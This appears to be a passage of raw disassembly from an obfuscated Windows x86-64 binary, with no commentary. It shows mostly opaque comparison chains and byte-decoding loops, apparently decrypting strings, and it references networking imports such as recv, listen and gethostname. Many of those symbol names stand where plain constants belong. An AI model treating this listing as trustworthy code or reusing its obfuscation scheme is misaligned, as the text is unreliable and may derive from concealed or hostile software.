cmp r9, rax
je 0x140097181
nop dword [rax + rax]
cmp r8, rdi
ja 0x140097392
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x140096630
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140096671
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009712a
lea rax, [r8 + 3]
cmp r9, rax
je 0x140097101
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400970cb
lea rax, [r8 + 6]
cmp r9, rax
je 0x140097093
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009706b
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x140096cc9
nop
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x140096ca6
lea rax, [r8 + 9]
cmp r9, rax
je 0x140096c75
lea rax, [r8 + 6]
cmp r9, rax
je 0x140096c4c
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x140096c38
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140096bfd
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x140096bca
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x140096ba2
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x140096b7f
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x140096b46
lea r9, [r8 + 1]
lea r8, [r9 + 0x200]
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x14009736a
lea rax, [r8 + 6]
cmp r9, rax
jb 0x140097347
lea rax, [r8 + 4]
cmp r9, rax
jb 0x140096861
lea rax, [r8 + 2]
cmp r9, rax
jb 0x140096839
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14009681b
lea rax, [r8 + 8]
cmp r9, rax
jb 0x140096ae5
lea rax, [r8 + 5]
cmp r9, rax
jb 0x140096a88
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140096a3f
lea rax, [r8 + 1]
cmp r9, rax
jb 0x140096a0c
lea rax, [r8 + 9]
cmp r9, rax
jb 0x140096680
lea r9, [r8 + 0x64]
lea r8, [r9 + 6]
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x1400969d3
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1400969b0
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x140096988
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x140096955
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14009691f
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14009690b
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400968e2
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400968b1
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x14009688e
lea r9, [r8 + 0x40]
lea r8, [r9 + 0x1000]
jmp 0x140096680
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3c
add r11b, dl
jmp 0x140096671
movabs rdx, 0x42f18482730bde8c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096600
movabs rcx, 0xfcd3d4cb4a204034
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
movabs rdx, 0xa30ed7db9475cf2c
jmp 0x14009657e
movabs rcx, 0x1bda8196d4ff4e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x14009714d
movabs rdx, 0xbb9ff86244645688
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x140096562
movabs rcx, 0x758248ab1b78b830
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
dec rdi
inc rdi
jmp 0x140096562
movabs rdx, 0x2f6498f3f28d19d8
mov ecx, listen
jmp 0x1400971e5
movabs rcx, 0xe946e93cc9a17b80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rcx, 0xa3293985a0b5dd28
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rdx, 0x5d0b89ce77ca3ed0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097293
movabs rcx, 0x16edda174edea078
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
jmp 0x1400972c5
movabs rdx, 0xd0d02a6025f30220
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x8b0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140096562
movabs rdx, 0xa185f3163fa5f644
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0x8b0], r11b
inc rdi
jmp 0x140096562
movabs rcx, 0x5b68435f16ba57ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
cmp r8, 0xa
jb 0x140096a2f
movabs rcx, 0xf7ea017d26f08b88
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x70]
jmp 0x14009714d
movabs rcx, 0x154a93a7edceb994
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
cmp r9, 0x20
jae 0x14009701d
lea rax, [r8 + 2]
cmp r9, rax
jbe 0x140096e7b
movabs rdx, 0x3ac124558dbc5c18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140096a5d
movabs rdx, 0xcf2ce3f0c4e31b3c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x140097046
lea rax, [r8 + 0x40]
cmp r9, rax
jbe 0x140096d96
movabs rcx, 0xda896f5260125d7c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x140096aa6
movabs rdx, 0x414e3e1311fbf7a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x8b0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140096562
movabs rcx, 0xfb308e5be9105950
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400972c5
movabs rdx, 0xb512dea4c024baf8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097293
movabs rcx, 0x6ef52eed97391ca0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rdx, 0x28d77f366e4d7e48
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rdx, 0xe2b9cf7f4561dff0
mov ecx, gethostname
jmp 0x1400971e5
movabs rcx, 0x9c9c1fc81c764198
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
dec rdi
inc rdi
jmp 0x140096562
movabs rdx, 0x567e7010f38aa340
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x140096562
movabs rcx, 0x1060c059ca9f04e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x14009714d
lea rax, [r8 + 6]
cmp r9, rax
jae 0x140096cf9
movabs rcx, 0xa30ed7db9475cf2c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140096b08
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140096d2b
movabs rdx, 0xc06f6a065b53fd38
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x14009732e
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140096d5b
movabs rcx, 0x4caac974ad2b39e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x140097293
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140096b08
movabs rdx, 0x6521885150d9b348
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140096562
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140096dcb
movabs rdx, 0x20a71f0988fdfbd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009714d
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140096e06
movabs rdx, 0xace27e77dad53884
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140096562
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140096e4b
movabs rdx, 0x7f3b8d9d5598138c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140096aa6
movabs rcx, 0xc5593d547e83b1e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x140097293
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140096ebc
movabs rcx, 0x80ded40cb6a7fa70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x8b0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140096562
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140096ef1
movabs rdx, 0xd1a337b087f3720
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140097293
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140096f31
movabs rcx, 0x5337e332316ad578
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
lea rax, [rcx + 1]
cmp r9, rax
jne 0x140096f79
movabs rdx, 0x995592e95a5673d0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140096faf
movabs rcx, 0x2590f257ac2db080
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x140096562
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140096fed
movabs rdx, 0x6baea20ed5194ed8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x140096562
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140096a5d
movabs rcx, 0xb1cc51c5fe04ed30
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x50
jmp 0x14009714d
movabs rdx, 0x3e07b1344fdc29e0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x8b0]
sub r11b, al
sub r11b, 0x20
jmp 0x1400971f3
movabs rdx, 0x842560eb78c7c838
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140097293
movabs rdx, 0x912532bc7506f15c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400972c5
movabs rdx, 0x4e9d34e232fb4ac
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rcx, 0xbecc2396fa441654
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rcx, 0x3290c428a86cd9a4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
dec rdi
inc rdi
jmp 0x140096562
movabs rdx, 0xa65564ba56959cf4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x9af8d958bb665ab4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x8b0], cl
inc r8
dec rdi
inc rdi
jmp 0x140096562
movabs rcx, 0xd3fc5594dbd2c1ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
inc r8
dec rdi
inc rdi
jmp 0x140096562
movabs rcx, 0x8ddea5ddb2e72394
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
dec rdi
inc rdi
jmp 0x140096562
movabs rdx, 0x47c0f62689fb853c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xe116890fe451f90c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x54
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x8b0], cl
add r9, r8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
movabs rdx, 0xbb8596b83824488c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096562
mov rbx, r10
movabs rax, 0x7567e7010f38aa34
add rax, rdi
and r10b, al
add r10b, r10b
sub al, r10b
lea r11d, [rbx + rax]
sub r11b, 0x6c
movabs rdx, 0x273438c70d3d9764
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x8b0], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0xca4310a2a1b36690
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x8b0], cl
inc r9
mov rax, r13
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x8b0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140096562
movabs rdx, 0xe92c8792bd616d84
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0x8b0]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140096562
movabs rcx, 0xb6b625142134a1dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x14009655e
movabs rdx, 0x7098755cf8490384
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009654e
lea rcx, [rbp + 0x1673a40]
jmp 0x1400973b1
lea rcx, [rbp + 0x9d096c]
jmp 0x1400973b1
lea rcx, [rbp + 0x8b0]
mov dword [rbp + 0xf88], 0x2710
mov dword [rbp + 0xfa0], Ordinal_33
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf88]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xfa0]
mov r8, r14
mov edx, 4
call fcn.1400375c0
lea rdx, [0x14021ac70]
lea rcx, [rbp + 0x2a0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x30]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov r14, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [r14 + 0x38], 0
jne 0x1400a26f3
movsxd rax, dword [r14 + 0x30]
lea rsi, [0x1401fc7c8]
mov rdi, qword [rsi + rax*8]
mov byte [rbp + 0x8d8], 0xe4
mov byte [rbp + 0x8d9], 0xb0
mov byte [rbp + 0x8da], 0xa8
mov byte [rbp + 0x8db], Ordinal_200
mov byte [rbp + 0x8dc], Ordinal_143
mov byte [rbp + 0x8dd], __WSAFDIsSet
mov byte [rbp + 0x8de], Ordinal_143
mov byte [rbp + 0x8df], 0x80
mov byte [rbp + 0x8e0], reloc.WLDAP32.dll_Ordinal_30
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8e1], xmm0
mov qword [rbp + 0x8f1], rax
mov word [rbp + 0x8f9], ax
movabs r15, 0x3f4e96b1ee8370f7
movabs r12, 0x1cefcd13a4a2f7e9
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
movabs rcx, 0x33c6ca393c1ea3db
cmp rbx, 0x23
jae 0x140098220
movzx r11d, byte [rbp + rbx + 0x8d8]
mov rdx, r11
cmp r8, rbx
ja 0x140098214
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140097524
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 3
jmp 0x140097551
je 0x14009818b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400980f0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400980b8
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009808e
cmp r9, rbx
ja 0x140098208
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x140097586
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3f
add r10b, dl
jmp 0x1400975d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140098039
inc rax
cmp r8, rax
je 0x140097feb
lea rax, [r9 + 2]
cmp r8, rax
je 0x140097fc7
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097fa3
lea rax, [r9 + 8]
cmp r8, rax
je 0x140097f6e
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140097c52
nop dword [rax]
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140097c29
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140097bf7
lea rax, [r9 + 4]
cmp r8, rax
je 0x140097bc8
lea rax, [r9 + 9]
cmp r8, rax
je 0x140097b9f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097b76
lea rax, [r9 + 8]
cmp r8, rax
je 0x140097b3d
lea rax, [r9 + 2]
cmp r8, rax
je 0x140097b14
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140097aeb
lea rax, [r9 + 1]
cmp r8, rax
je 0x140097ab1
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400975e0
lea r8, [r9 + 6]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400981e3
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400981bf
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400977ca
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400977a6
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009778b
lea rax, [r9 + 3]
cmp r8, rax
jb 0x140097a4b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400979ee
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14009799c
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009796d
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400975e0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x61]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140097938
lea rax, [r9 + 1]
cmp r8, rax
ja 0x140097914
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400978f0
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400978bb
lea rax, [r9 + 4]
cmp r8, rax
ja 0x140097897
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x140097873
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140097849
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009781c
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400977f8
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400975e0
lea r8, [r9 + 8]
lea r9, [r8 + 0x200]
jmp 0x1400975e0
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5f
jmp 0x1400975d0
movabs rcx, 0xb56238a12c65b033
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x65
jmp 0x140097551
movabs rcx, 0x4dd4a42eb428687d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
movabs rcx, 0x33c6ca393c1ea3db
jmp 0x1400974ef
movabs rcx, 0xfa74b58f741b87b8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
jmp 0x14009805c
movabs rcx, 0x92e7211cfbde4002
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
inc r9
dec rbx
inc rbx
jmp 0x1400974d2
movabs rcx, 0x2b598caa83a0f84c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
dec rbx
inc rbx
jmp 0x1400974d2
movabs rcx, 0xc3cbf8380b63b096
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x14009800a
movabs rcx, 0x5c3e63c5932668e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400980d8
movabs rcx, 0xf4b0cf531ae9212a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x26
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400974d2
movabs rcx, 0x8d233ae0a2abd974
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x140098111
movabs rcx, 0x2595a66e2a6e91be
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
jmp 0x140098141
movabs rcx, 0xbe0811fbb2314a08
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
movabs rcx, 0xbb261edd859816c1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x47
mov byte [rbp + rbx + 0x8d8], r10b
inc rbx
jmp 0x1400974d2
movabs rcx, 0x53988a6b0d5acf0b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4d
cmp r9, 0x80
jb 0x14009798c
movabs rdx, 0xa13492cdf4354942
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x14009805c
movabs rcx, 0xec0af5f8951d8755
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
cmp r8, 0x1000
jae 0x140097f1c
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x140097e28
movabs rcx, 0x95acc65541d07c26
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
jmp 0x1400979bb
movabs rdx, 0x847d61861ce03f9f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x59
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x140097f48
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x140097d65
movabs rdx, 0x565e2fa3534d0b2f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x49
add r10b, dl
jmp 0x140097a0d
movabs rdx, 0x7bd7882b9714a5ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x8d8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400974d2
movabs rdx, 0x1449f3b91ed75e14
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140098141
movabs rdx, 0xacbc5f46a69a165e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140098111
movabs rdx, 0x452ecad42e5ccea8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400974d2
movabs rdx, 0xdda13661b61f86f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400980d8
movabs rdx, 0x7613a1ef3de23f3c
add rdx, rbx
movzx eax, r11b
and al, dl
